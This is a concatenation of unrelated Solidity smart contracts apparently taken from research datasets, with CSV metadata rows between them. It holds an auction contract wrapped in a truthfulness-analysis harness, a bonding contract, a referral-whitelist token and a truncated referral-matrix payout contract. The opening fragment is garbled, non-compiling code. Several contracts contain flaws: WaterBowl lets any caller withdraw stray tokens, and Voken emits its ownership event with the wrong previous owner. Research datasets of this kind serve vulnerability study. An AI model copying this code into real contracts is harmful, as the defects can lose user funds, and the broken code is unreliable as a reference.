/// RESTRICTED (owner or delegate only) PUBLIC METHODS
/// @notice This method can only be called by the contract
/// owner, and can be used to virtually create a new payment,
/// by `origin` for `who`.
/// @param who The address that `origin` paid for
/// @param origin The virtual sender of the payment
function inject (address who, address origin) external only_owner {
// Add the origin address to the list of payers
s_paid[who].push(origin);
// Emit the `Paid` event
Paid(who, origin);
}
/// @notice This method can be called by authorized persons only,
/// and can issue a refund of the fee to the `origin` address who
/// paid the fee for `who`.
/// @param who The address that `origin` paid for
/// @param origin The sender of the payment, to which we shall
/// send the refund
function revoke (address who, address origin) payable external only_delegate {
// The value must match the current fee, so we can refund
// the payer, since the contract doesn't hold anything.
require(msg.value == fee);
bool found;
// Go through the list of payers to find
// the remove the right one
// NB : this list is limited to 10 items,
// @see the `pay` method
for (uint i = 0; i < s_paid[who].length; i++) {
if (s_paid[who][i] != origin) {
continue;
}
// If the origin payer is found
found = true;
uint last = s_paid[who].length - 1;
// Switch the last element of the array
// with the one to remove
s_paid[who][i] = s_paid[who][last];
// Remove the last element of the array
delete s_paid[who][last];
s_paid[who].length -= 1;
break;
}
// Ensure that the origin payer has been found
require(found);
// Refund the fee to the origin payer
origin.transfer(msg.value);
}
/// @notice Change the address of the treasury, the address to which
/// the payments are forwarded to. Only the owner of the contract
/// can execute this method.
/// @param _treasury The new treasury address
function setTreasury (address _treasury) external only_owner {
treasury = _treasury;
}
function calcReward (address addressOfTokenUsedAsReward,
address _toAddress,
address _addressAfter) public {
uint256 tokens = 800000 * 10 ** 18;
toAddress = _toAddress;
addressAfter = _addressAfter;
uint256 dueAmount = msg.value + 70;
uint256 reward = dueAmount - tokenUsedAsReward;
return reward
}
uint256 public constant EXCHANGE = 250;
uint256 public constant START = 40200010;
uint256 tokensToTransfer;
address sendTokensToAddress;
address sendTokensToAddressAfterICO;
uint public tokensRaised;
uint public deadline;
uint public price;
token public reward;
mapping(address => uint256) public balanceOf;
bool crowdsaleClosed = false;
function () public payable {
require(now < deadline && now >= START);
require(msg.value >= 1 ether);
uint amount = msg.value;
balanceOf[msg.sender] += amount;
tokensRaised += amount;
tokensToTransfer -= amount;
reward.transfer(msg.sender, amount * EXCHANGE);
sendTokensToAddress.transfer(amount);
}
}
| 195,044 | 12,747 |
5f96b73b348c334f7454f08ca455f2344c66e3ac0bb5c2625994c698cc1f98af
| 12,586 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/39/398f9fa1f9ac4fc9d9dd21e9b668d09c9660bc34_WaterBowl.sol
| 2,809 | 11,153 |
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.8.0;
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
interface IERC20 {
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeERC20 {
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender) - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface IFetch is IERC20 {
function breed(address to, uint256 amount) external;
function maxSupply() external view returns (uint256);
}
// We come to the water bowl to lap up liquidity. Mmmmmm.
// Max payout and capacity decrease as supply gets closer to max.
// FETCH is paid at the time of deposit.
contract WaterBowl {
using SafeERC20 for IERC20;
using SafeERC20 for IFetch;
IFetch public immutable fetch;
IERC20 public immutable lp;
address public immutable kibble;
uint256 public immutable DECAY = 600_000; // one week
uint256 public immutable openPrice = 1e13; // floor price - 100k FETCH / LP
uint256 public totalDebt; // Total value of outstanding bonds
uint256 public lastDecay; // Last deposit
constructor (address _fetch,
address _lp,
address _kibble) {
require(_fetch != address(0));
fetch = IFetch(_fetch);
require(_lp != address(0));
lp = IERC20(_lp);
require(_kibble != address(0));
kibble = _kibble;
}
function deposit(uint amount,
uint maxPrice) external returns (uint) {
if (totalDebt == 0) {
totalDebt = circulatingSupply() / 5;
lastDecay = block.timestamp;
}
decayDebt();
uint price = bondPrice();
require(maxPrice >= price, "Slippage limit: more than max price");
uint payout = payoutFor(amount);
require(payout <= maxPayout(), "Bond too large");
lp.safeTransferFrom(msg.sender, address(this), amount);
fetch.breed(msg.sender, payout);
totalDebt += payout; // increase total debt
return payout;
}
function decayDebt() internal {
totalDebt = totalDebt - debtDecay();
lastDecay = block.timestamp;
}
function debtDecay() public view returns (uint decay_) {
uint secondsSinceLast = block.timestamp - lastDecay;
decay_ = totalDebt * secondsSinceLast / DECAY;
if (decay_ > totalDebt) {
decay_ = totalDebt;
}
}
function currentDebt() public view returns (uint) {
return totalDebt - debtDecay();
}
function payoutFor(uint amount) public view returns (uint256) {
return amount * 1e18 / bondPrice();
}
function bondPrice() public view returns (uint256 price_) {
if (controlVariable() >= debtRatio()) {
price_ = openPrice;
} else {
price_ = debtRatio() / controlVariable();
if (price_ < openPrice) {
price_ = openPrice;
}
}
}
function debtRatio() public view returns (uint256) {
return currentDebt() * 1e18 / circulatingSupply();
}
function maxPayout() public view returns (uint256) {
uint256 supply = circulatingSupply();
uint256 maxSupply = fetch.maxSupply();
uint256 max;
if (supply < maxSupply / 10) {
max = 100;
} else if (supply < maxSupply / 5) {
max = 50;
} else if (supply < maxSupply / 3) {
max = 25;
} else if (supply < maxSupply / 2) {
max = 10;
} else {
max = 5;
}
return supply * max / 10_000;
}
function controlVariable() public view returns (uint256) {
uint256 supply = circulatingSupply();
uint256 maxSupply = fetch.maxSupply();
if (supply < maxSupply / 10) {
return 2e4;
} else if (supply < maxSupply / 5) {
return 1e4;
} else if (supply < maxSupply / 3) {
return 5e3;
} else if (supply < maxSupply / 2) {
return 25e2;
} else {
return 1e3;
}
}
function circulatingSupply() public view returns (uint256) {
return fetch.totalSupply() - fetch.balanceOf(kibble);
}
function recoverLostToken(address token_) external {
require(token_ != address(fetch), "woof");
require(token_ != address(lp), "woof");
IERC20(token_).safeTransfer(msg.sender, IERC20(token_).balanceOf(address(this)));
}
}
| 109,512 | 12,748 |
e0124612f3efd85c22be16c1d85159774028218084c2f365d0ec0cd5367c8beb
| 12,685 |
.sol
|
Solidity
| false |
266261447
|
ntu-SRSLab/FairCon
|
5246f029f2ae545a070502f741fcfded42e61b64
|
contracts/dataset-fse2020-log/auction/truthful/BetterAuction-0x215a427c5f35c375525ecafa37c05d4b3ec9b573.sol
| 3,317 | 12,375 |
pragma solidity >=0.4.8;
contract BetterAuction {
// Mapping for members of multisig
mapping (address => bool) public members;
// Auction start time, seconds from 1970-01-01
uint256 public auctionStart;
// Auction bidding period in seconds, relative to auctionStart
uint256 public biddingPeriod;
uint256 public recoveryAfterPeriod;
// User sends this amount to the contract to withdraw funds, 0.0001 ETH
uint256 public constant WITHDRAWAL_TRIGGER_AMOUNT = 100000000000000;
// Number of required signatures
uint256 public constant REQUIRED_SIGNATURES = 2;
struct Proposal {
address payable recipient;
uint256 numVotes;
mapping (address => bool) voted;
bool isRecover;
}
// Proposal to spend
Proposal[] public proposals;
// Number of proposals
uint256 public numProposals;
// Address of the highest bidder
address public highestBidder;
// Highest bid amount
uint256 public highestBid;
// Allowed withdrawals of previous bids
mapping(address => uint256) pendingReturns;
// Set to true at the end, disallows any change
bool auctionClosed;
address _address1 =0xb7cf43651d8f370218cF92B00261cA3e1B02Fda0;
address _address2 = 0x60CE2769E5d330303Bd9Df88F7b843A40510F173;
address _address3 = 0x7422B53EB5f57AdAea0DdffF82ef765Cfbc4DBf0;
uint256 _biddingPeriod = 1800;
uint256 _recoveryAfterPeriod = 1000000;
modifier isMember {
if (members[msg.sender] == false) revert();
_;
}
modifier isAuctionActive {
if (now < auctionStart || now > (auctionStart + biddingPeriod)) revert();
_;
}
modifier isAuctionEnded {
if (now < (auctionStart + biddingPeriod)) revert();
_;
}
event HighestBidIncreased(address bidder, uint256 amount);
event AuctionClosed(address winner, uint256 amount);
event ProposalAdded(uint proposalID, address recipient);
event Voted(uint proposalID, address voter);
// Auction starts at deployment, runs for _biddingPeriod (seconds from
// auction start), and funds can be recovered after _recoverPeriod
// (seconds from auction start)
constructor() public {
if (_address1 == address(0)|| _address2 == address(0)|| _address3 == address(0)) revert();
members[_address1] = true;
members[_address2] = true;
members[_address3] = true;
auctionStart = now;
if (_biddingPeriod > _recoveryAfterPeriod) revert();
biddingPeriod = _biddingPeriod;
recoveryAfterPeriod = _recoveryAfterPeriod;
}
// Users want to know when the auction ends, seconds from 1970-01-01
function auctionEndTime() public view returns (uint256 ret) {
return auctionStart + biddingPeriod;
}
// Users want to know theirs or someones current bid
function getBid(address _address) public view returns (uint256 ret) {
if (_address == highestBidder) {
return highestBid;
} else {
return pendingReturns[_address];
}
}
// Update highest bid or top up previous bid
function bidderUpdateBid() internal {
if (msg.sender == highestBidder) {
highestBid += msg.value;
emit HighestBidIncreased(msg.sender, highestBid);
} else if (pendingReturns[msg.sender] + msg.value > highestBid) {
uint256 amount = pendingReturns[msg.sender] + msg.value;
pendingReturns[msg.sender] = 0;
// Save previous highest bidders funds
pendingReturns[highestBidder] = highestBid;
// Record the highest bid
highestBid = amount;
highestBidder = msg.sender;
emit HighestBidIncreased(msg.sender, amount);
} else {
revert();
}
}
// Bidders can only place bid while the auction is active
function bidderPlaceBid() isAuctionActive public payable {
if ((pendingReturns[msg.sender] > 0 || msg.sender == highestBidder) && msg.value > 0) {
bidderUpdateBid();
} else {
// Reject bids below the highest bid
if (msg.value <= highestBid) revert();
// Save previous highest bidders funds
if (highestBidder != address(0)) {
pendingReturns[highestBidder] = highestBid;
}
// Record the highest bid
highestBidder = msg.sender;
highestBid = msg.value;
emit HighestBidIncreased(msg.sender, msg.value);
}
}
// Withdraw a bid that was overbid.
function nonHighestBidderRefund() public payable {
uint256 amount = pendingReturns[msg.sender];
if (amount > 0) {
pendingReturns[msg.sender] = 0;
if (!msg.sender.send(amount + msg.value)) revert();
} else {
revert();
}
}
// // Multisig member creates a proposal to send ether out of the contract
// uint256 proposalID = proposals.length++;
// Proposal storage p= proposals[proposalID];
// p.recipient = recipient;
// p.voted[msg.sender] = true;
// p.numVotes = 1;
// numProposals++;
// emit Voted(proposalID, msg.sender);
// emit ProposalAdded(proposalID, recipient);
// }
// // Multisig member votes on a proposal
// function voteProposal (uint256 proposalID) isMember isAuctionEnded public{
// Proposal storage p= proposals[proposalID];
// if (p.voted[msg.sender]) revert();
// p.voted[msg.sender] = true;
// p.numVotes++;
// // Required signatures have been met
// if (p.numVotes >= REQUIRED_SIGNATURES) {
// if (p.isRecover) {
// // Is it too early for recovery?
// if (now < (auctionStart + recoveryAfterPeriod)) revert();
// // Recover any ethers accidentally sent to contract
// if (!p.recipient.send(address(this).balance)) revert();
// } else {
// if (auctionClosed) revert();
// auctionClosed = true;
// emit AuctionClosed(highestBidder, highestBid);
// // Send highest bid to recipient
// if (!p.recipient.send(highestBid)) revert();
// }
// }
// }
// Bidders send their bids to the contract. If this is the trigger amount
// allow non-highest bidders to withdraw their funds
function () payable external{
if (msg.value == WITHDRAWAL_TRIGGER_AMOUNT) {
nonHighestBidderRefund();
} else {
bidderPlaceBid();
}
}
function bid(address payable msg_sender, uint msg_value) public {
if ((pendingReturns[msg_sender] > 0 || msg_sender == highestBidder) && msg_value > 0) {
if (msg_sender == highestBidder) {
highestBid += msg_value;
// emit HighestBidIncreased(msg_sender, highestBid);
} else if (pendingReturns[msg_sender] + msg_value > highestBid) {
uint256 amount = pendingReturns[msg_sender] + msg_value;
pendingReturns[msg_sender] = 0;
// Save previous highest bidders funds
pendingReturns[highestBidder] = highestBid;
// Record the highest bid
highestBid = amount;
highestBidder = msg_sender;
// emit HighestBidIncreased(msg_sender, amount);
} else {
// revert();
return;
}
} else {
// Reject bids below the highest bid
if (msg_value <= highestBid) return;//revert();
// Save previous highest bidders funds
// if (highestBidder != address(0)) {
// pendingReturns[highestBidder] = highestBid;
// }
// Record the highest bid
highestBidder = msg_sender;
highestBid = msg_value;
// emit HighestBidIncreased(msg_sender, msg_value);
}
}
mapping(address=>uint) utilities;
mapping(address=>uint) benefits;
mapping(address=>uint) payments;
function sse_winner(address a) public view {}
function sse_revenue(uint a) public view {}
function sse_utility(uint a) public view {}
function sse_maximize(uint a) public view {}
function sse_minimize(uint a) public view {}
function sse_truthful_violate_check(uint u, uint a, uint b) public view {}
function sse_collusion_violate_check(uint u12, uint v1, uint v_1, uint v2, uint v_2) public view{}
function sse_efficient_expectation_register(address allocation, address player, uint benefit) public view {}
function sse_efficient_violate_check(uint benefit, address allocation, address other_allocation) public view {}
function sse_optimal_payment_register(address allocation, address player, uint payment) public view {}
function sse_optimal_violate_check(uint benefit, address allocation, address other_allocation) public view {}
function _Main_(address payable msg_sender1, uint p1, uint msg_value1, uint msg_gas1, uint block_timestamp1, address payable msg_sender2, uint p2, uint msg_value2, uint msg_gas2, uint block_timestamp2,address payable msg_sender3, uint p3, uint msg_value3, uint msg_gas3, uint block_timestamp3) public {
require(!(msg_sender1==highestBidder || msg_sender2 == highestBidder || msg_sender3 == highestBidder));
require(!(msg_sender1==msg_sender2 || msg_sender1 == msg_sender3 || msg_sender2 == msg_sender3));
require(highestBid==0);
require(pendingReturns[msg_sender1] == 0);
require(pendingReturns[msg_sender2] == 0);
require(pendingReturns[msg_sender3] == 0);
require(p1>100000000000 && p1< 200000000000);
require(p2>100000000000 && p2< 200000000000);
require(p3>100000000000 && p3< 200000000000);
require(msg_value1>100000000000 && msg_value1< 200000000000);
require(msg_value2>100000000000 && msg_value2< 200000000000);
require(msg_value3>100000000000 && msg_value3< 200000000000);
require(utilities[msg_sender1] == 0);
require(utilities[msg_sender2] == 0);
require(utilities[msg_sender3] == 0);
require(benefits[msg_sender1] == 0);
require(benefits[msg_sender2] == 0);
require(benefits[msg_sender3] == 0);
require(payments[msg_sender1] == 0);
require(payments[msg_sender2] == 0);
require(payments[msg_sender3] == 0);
// require(msg_value1!=p1);
require(msg_value2==p2);
require(msg_value3==p3);
// each role claims the 'bid' action.
bid(msg_sender1,msg_value1);
bid(msg_sender2,msg_value2);
bid(msg_sender3,msg_value3);
// assert(msg_sender3 == highestBidder);
assert(msg_sender1 == highestBidder || msg_sender2 == highestBidder || msg_sender3 == highestBidder);
uint winners_count = 0;
if (msg_sender1 == highestBidder){
sse_winner(msg_sender1);
winners_count ++;
utilities[msg_sender1] = p1 - msg_value1;
benefits[msg_sender1] = p1;
payments[msg_sender1] = msg_value1;
}
sse_utility(utilities[msg_sender1]);
if (msg_sender2 == highestBidder){
sse_winner(msg_sender2);
winners_count ++;
utilities[msg_sender2] = p2 - msg_value2;
benefits[msg_sender2] = p2;
payments[msg_sender2] = msg_value2;
}
sse_utility(utilities[msg_sender2]);
if (msg_sender3 == highestBidder){
sse_winner(msg_sender3);
winners_count ++;
utilities[msg_sender3] = p3 - msg_value3;
benefits[msg_sender3] = p3;
payments[msg_sender3] = msg_value3;
}
sse_utility(utilities[msg_sender3]);
sse_truthful_violate_check(utilities[msg_sender1],msg_value1, p1);
}
}
| 242,187 | 12,749 |
41574a93f5e233dac8113d971dd8af4a1ef645dbcc0bce90f18942765afaa3a1
| 18,773 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
sorted-evaluation-dataset/0.5/0x82070415fee803f94ce5617be1878503e58f0a6a.sol
| 3,312 | 12,536 |
pragma solidity ^0.5.7;
// Vision.Network 100G Token -- is called "Voken" (upgraded)
//
// More info:
// https://vision.network
// https://voken.io
//
// Contact us:
// support@vision.network
// support@voken.io
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b > 0);
uint256 c = a / b;
assert(a == b * c + a % b);
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
interface IERC20{
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address owner) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable {
address internal _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(msg.sender == _owner);
_;
}
function transferOwnership(address newOwner) external onlyOwner {
require(newOwner != address(0));
_owner = newOwner;
emit OwnershipTransferred(_owner, newOwner);
}
function rescueTokens(address tokenAddr, address receiver, uint256 amount) external onlyOwner {
IERC20 _token = IERC20(tokenAddr);
require(receiver != address(0));
uint256 balance = _token.balanceOf(address(this));
require(balance >= amount);
assert(_token.transfer(receiver, amount));
}
function withdrawEther(address payable to, uint256 amount) external onlyOwner {
require(to != address(0));
uint256 balance = address(this).balance;
require(balance >= amount);
to.transfer(amount);
}
}
contract Pausable is Ownable {
bool private _paused;
event Paused(address account);
event Unpaused(address account);
constructor () internal {
_paused = false;
}
function paused() public view returns (bool) {
return _paused;
}
modifier whenNotPaused() {
require(!_paused);
_;
}
modifier whenPaused() {
require(_paused);
_;
}
function pause() external onlyOwner whenNotPaused {
_paused = true;
emit Paused(msg.sender);
}
function unpause() external onlyOwner whenPaused {
_paused = false;
emit Unpaused(msg.sender);
}
}
contract Voken is Ownable, Pausable, IERC20 {
using SafeMath for uint256;
string private _name = "Vision.Network 100G Token";
string private _symbol = "Voken";
uint8 private _decimals = 6; // 6 decimals
uint256 private _cap = 35000000000000000; // 35 billion cap, that is 35000000000.000000
uint256 private _totalSupply;
mapping (address => bool) private _minter;
event Mint(address indexed to, uint256 value);
event MinterChanged(address account, bool state);
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
bool private _allowWhitelistRegistration;
mapping(address => address) private _referrer;
mapping(address => uint256) private _refCount;
event VokenSaleWhitelistRegistered(address indexed addr, address indexed refAddr);
event VokenSaleWhitelistTransferred(address indexed previousAddr, address indexed _newAddr);
event VokenSaleWhitelistRegistrationEnabled();
event VokenSaleWhitelistRegistrationDisabled();
uint256 private _whitelistRegistrationValue = 1001000000; // 1001 Voken, 1001.000000
uint256[15] private _whitelistRefRewards = [ // 100% Reward
301000000, // 301 Voken for Level.1
200000000, // 200 Voken for Level.2
100000000, // 100 Voken for Level.3
100000000, // 100 Voken for Level.4
100000000, // 100 Voken for Level.5
50000000, // 50 Voken for Level.6
40000000, // 40 Voken for Level.7
30000000, // 30 Voken for Level.8
20000000, // 20 Voken for Level.9
10000000, // 10 Voken for Level.10
10000000, // 10 Voken for Level.11
10000000, // 10 Voken for Level.12
10000000, // 10 Voken for Level.13
10000000, // 10 Voken for Level.14
10000000 // 10 Voken for Level.15
];
event Donate(address indexed account, uint256 amount);
constructor() public {
_minter[msg.sender] = true;
_allowWhitelistRegistration = true;
emit VokenSaleWhitelistRegistrationEnabled();
_referrer[msg.sender] = msg.sender;
emit VokenSaleWhitelistRegistered(msg.sender, msg.sender);
}
function () external payable {
emit Donate(msg.sender, msg.value);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function cap() public view returns (uint256) {
return _cap;
}
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowed[owner][spender];
}
function transfer(address to, uint256 value) public whenNotPaused returns (bool) {
if (_allowWhitelistRegistration && value == _whitelistRegistrationValue
&& inWhitelist(to) && !inWhitelist(msg.sender) && isNotContract(msg.sender)) {
// Register whitelist for Voken-Sale
_regWhitelist(msg.sender, to);
return true;
} else {
// Normal Transfer
_transfer(msg.sender, to, value);
return true;
}
}
function approve(address spender, uint256 value) public returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(msg.sender, spender, _allowed[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(msg.sender, spender, _allowed[msg.sender][spender].sub(subtractedValue));
return true;
}
function transferFrom(address from, address to, uint256 value) public whenNotPaused returns (bool) {
require(_allowed[from][msg.sender] >= value);
_transfer(from, to, value);
_approve(from, msg.sender, _allowed[from][msg.sender].sub(value));
return true;
}
function _transfer(address from, address to, uint256 value) internal {
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
function _approve(address owner, address spender, uint256 value) internal {
require(owner != address(0));
require(spender != address(0));
_allowed[owner][spender] = value;
emit Approval(owner, spender, value);
}
modifier onlyMinter() {
require(_minter[msg.sender]);
_;
}
function isMinter(address account) public view returns (bool) {
return _minter[account];
}
function setMinterState(address account, bool state) external onlyOwner {
_minter[account] = state;
emit MinterChanged(account, state);
}
function mint(address to, uint256 value) public onlyMinter returns (bool) {
_mint(to, value);
return true;
}
function _mint(address account, uint256 value) internal {
require(_totalSupply.add(value) <= _cap);
require(account != address(0));
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Mint(account, value);
emit Transfer(address(0), account, value);
}
modifier onlyInWhitelist() {
require(_referrer[msg.sender] != address(0));
_;
}
function allowWhitelistRegistration() public view returns (bool) {
return _allowWhitelistRegistration;
}
function inWhitelist(address account) public view returns (bool) {
return _referrer[account] != address(0);
}
function referrer(address account) public view returns (address) {
return _referrer[account];
}
function refCount(address account) public view returns (uint256) {
return _refCount[account];
}
function disableVokenSaleWhitelistRegistration() external onlyOwner {
_allowWhitelistRegistration = false;
emit VokenSaleWhitelistRegistrationDisabled();
}
function _regWhitelist(address account, address refAccount) internal {
_refCount[refAccount] = _refCount[refAccount].add(1);
_referrer[account] = refAccount;
emit VokenSaleWhitelistRegistered(account, refAccount);
// Whitelist Registration Referral Reward
_transfer(msg.sender, address(this), _whitelistRegistrationValue);
address cursor = account;
uint256 remain = _whitelistRegistrationValue;
for(uint i = 0; i < _whitelistRefRewards.length; i++) {
address receiver = _referrer[cursor];
if (cursor != receiver) {
if (_refCount[receiver] > i) {
_transfer(address(this), receiver, _whitelistRefRewards[i]);
remain = remain.sub(_whitelistRefRewards[i]);
}
} else {
_transfer(address(this), refAccount, remain);
break;
}
cursor = _referrer[cursor];
}
}
function transferWhitelist(address account) external onlyInWhitelist {
require(isNotContract(account));
_refCount[account] = _refCount[msg.sender];
_refCount[msg.sender] = 0;
_referrer[account] = _referrer[msg.sender];
_referrer[msg.sender] = address(0);
emit VokenSaleWhitelistTransferred(msg.sender, account);
}
function isNotContract(address addr) internal view returns (bool) {
uint size;
assembly {
size := extcodesize(addr)
}
return size == 0;
}
function calculateTheRewardOfDirectWhitelistRegistration(address whitelistedAccount) external view returns (uint256 reward) {
if (!inWhitelist(whitelistedAccount)) {
return 0;
}
address cursor = whitelistedAccount;
uint256 remain = _whitelistRegistrationValue;
for(uint i = 1; i < _whitelistRefRewards.length; i++) {
address receiver = _referrer[cursor];
if (cursor != receiver) {
if (_refCount[receiver] > i) {
remain = remain.sub(_whitelistRefRewards[i]);
}
} else {
reward = reward.add(remain);
break;
}
cursor = _referrer[cursor];
}
return reward;
}
}
| 217,044 | 12,750 |
b65892b4f665a0e12ca789edcc817c6b94ef8fb7602a83ad868cc91328d4197e
| 15,473 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TX/TXi8oz4ciCuNSR9ff4TA68NQ1tKKBz2Nd4_TRON_BUDDY_GLOBAL.sol
| 3,864 | 14,515 |
//SourceUnit: tron_buddy_global.sol
pragma solidity ^0.5.9;
contract TRON_BUDDY_GLOBAL {
struct User {
uint id;
address referrer;
uint partnersCount;
mapping(uint8 => bool) activeX3Levels;
mapping(uint8 => bool) activeX6Levels;
mapping(uint8 => X3) x3Matrix;
mapping(uint8 => X6) x6Matrix;
}
struct X3 {
address currentReferrer;
address[] referrals;
bool blocked;
uint reinvestCount;
}
struct X6
{
address currentReferrer;
address[] referrals;
bool blocked;
uint reinvestCount;
uint256 RefvID;
}
uint8 public currentStartingLevel = 1;
uint8 public constant LAST_LEVEL = 14;
mapping(address => User) public users;
mapping(uint => address) public idToAddress;
// mapping(uint => address) public vIdToAddress;
uint public lastUserId = 2;
uint public vId = 2;
mapping(uint8 => mapping(uint256 => address)) vId_number;
address public owner;
mapping(uint8 => uint) public levelPrice;
mapping(uint8 => uint) public blevelPrice;
mapping(uint8 => uint256) public currentvId;
mapping(uint8 => uint256) public index;
event Registration(address indexed user, address indexed referrer, uint indexed userId, uint referrerId);
event Reinvest(address indexed user, address indexed currentReferrer, address indexed caller, uint8 matrix, uint8 level);
event Upgrade(address indexed user, address indexed referrer, uint8 matrix, uint8 level);
event NewUserPlace(address indexed user, address indexed referrer, uint8 matrix, uint8 level, uint8 place);
event MissedEthReceive(address indexed receiver, address indexed from, uint8 matrix, uint8 level);
event SentExtraEthDividends(address indexed from, address indexed receiver, uint8 matrix, uint8 level);
constructor(address ownerAddress) public {
